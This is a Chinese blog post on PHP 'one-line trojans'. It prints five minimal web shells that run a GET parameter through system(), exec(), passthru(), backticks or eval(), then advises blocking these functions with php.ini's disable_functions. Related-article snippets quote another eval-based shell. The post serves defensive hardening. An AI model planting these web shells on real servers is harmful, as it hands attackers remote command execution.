PHP一句话木马攻防

短命女 2023-06-30 10:49 25阅读 0赞

## 引言 ##

在网络世界，信息唾手可得，很难保证信息的绝对安全，只要公网可以访问，那么总会存在那么点漏洞让非法入侵者有机可乘，所以作为开发者或网络管理人员，我们要定时查看日志，备份站点数据，做好安全防范攻略。此笔记记录笔者对PHP配置的安全建议，有更好的方法也希望小伙伴们能够告知我一下，互相学习互相进步，构建安全站点。

## PHP小马 ##

**方式1： system()**

<?php
    $cmd = $_GET['cmd'];
    system($cmd);
    ?>

> 用GET的形式获取命令，然后调用system来执行命令

** 方式2：exec()**

<?php
    $cmd = $_GET['cmd'];
    echo exec($cmd);
    ?>

>  用GET的形式获取命令，然后调用exec来执行命令

**方式3：passthru()**

<?php
    $cmd = $_GET['cmd'];
    passthru($cmd);
    ?>

>  用GET的形式获取命令，然后调用passthru来执行命令

**方式4：echo \`$cmd\`**

<?php
    $cmd = $_GET['cmd'];
    echo `$cmd`;
    ?>

> 用GET的形式获取命令，然后通过echo来执行命令

**方式5：eval()**

<?php
    $cmd = $_GET['cmd'];
    eval($cmd);
    ?>

> 用GET的形式获取命令，然后调用eval来执行PHP程序

**小结 **

> 以上几种形式是PHP中最为常见的一句话木马，通过获取命令和执行命令的形式来提权，除了GET形式来获取命令外，还可以使用POST、COOKIE等形式，其小马的变形也有好多种，作为站点的管理者，我们必须提前预测好哪些命令在公网使用是比较危险的，然后禁用她。

##  防范 ##

项目上线后，这些比较危险的函数当然不能让人随意的使用啦，我们必须在配置文件里禁用掉这些函数，那么我们要如何配置呢，PHP有一个php.ini的配置文件，里面包含了PHP所有的配置信息，其中有一项叫disable\_functions的是用来禁用函数的，如下图所示：

![20200117154953558.png][]

>  我们将这些比较危险的函数配置到disable\_functions里，这样子就不能被轻易的使用了

[20200117154953558.png]: https://img-blog.csdnimg.cn/20200117154953558.png

发表评论取消回复

表情：

评论列表（有 0 条评论，25人围观）

还没有评论，来说两句吧...

相关阅读

相关 java安全——jsp一句话木马

java一句话木马

电玩女神/ 2024年05月23日 14:13/ 0 赞/ 77 阅读

相关如何简单有效地防范PHP“一句话木马”

php语言无需编译，动态执行，我们不得不佩服它的开发效率。但正因为php开发语言可以动态执行，才带来了类似一句话木马等**安全**问题。因为我们要十分警惕，否则...

淩亂°似流年/ 2024年04月18日 13:42/ 0 赞/ 73 阅读

相关 PHP后门一句话-汇总

无特征PHP一句话木马分享些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。（少部分一句话需要php5.4.8 、或sqlite/pdo/yaml/me

Dear 丶/ 2023年10月12日 07:59/ 0 赞/ 65 阅读

相关 PHP一句话木马浅析

一句话木马就是只需要一行代码的木马，短短一行代码，就能做到和大马相当的功能。为了绕过waf的检测，一句话木马出现了无数种变形，但本质是不变的：木马的函数执行了我们发送的命令。P

客官°小女子只卖身不卖艺/ 2023年09月24日 20:57/ 0 赞/ 22 阅读

相关 php图片一句话木马使用方法

php图片一句话木马使用方法，PHP一句话：<?php @eval($\_POST\[‘shy’\]);?> 1、标准的写法,直接通过eval执行php代码@eval (

青旅半醒/ 2023年09月24日 20:24/ 0 赞/ 151 阅读

相关 PHP一句话木马攻防

引言在网络世界，信息唾手可得，很难保证信息的绝对安全，只要公网可以访问，那么总会存在那么点漏洞让非法入侵者有机可乘，所以作为开发者或网络管理人员，我们要定时查看日志，备

短命女/ 2023年06月30日 10:49/ 0 赞/ 26 阅读

相关一句话木马与图片马

何为木马？所谓木马，即向目标主机种植恶意软件或程序（木马），通过主机与目标主机上种植好的木马进行连接，建立一个shell，达到控制目标主机的目的。比较著名的木马有冰

清疚/ 2023年06月30日 08:39/ 0 赞/ 16 阅读

相关封神台——菜刀初体验——一句话木马

![20200705132846978.png][] 看题意就是和上一题相关的，上一题在Cookie中找到了flag，这一题就要利用上一题中的数据修改Cookie，从而绕过登

ゞ浴缸里的玫瑰/ 2023年02月23日 05:02/ 0 赞/ 18 阅读

相关【Web】变种一句话木马--中国菜刀连接

【Web】变种一句话木马--中国菜刀连接 -------------------- 遇到这种文件： <?php error\_reporti

超、凢脫俗/ 2022年05月18日 03:40/ 0 赞/ 240 阅读

相关 php 一句话木马简介

一句话木马就是一段简单的代码，就这短短的一行代码，就能做到和大马相当的功能。一句话木马短小精悍，而且功能强大，隐蔽性非常好，在入侵中始终扮演着强大的作用。一句话木马工作原

一时失言乱红尘/ 2021年08月30日 21:45/ 0 赞/ 783 阅读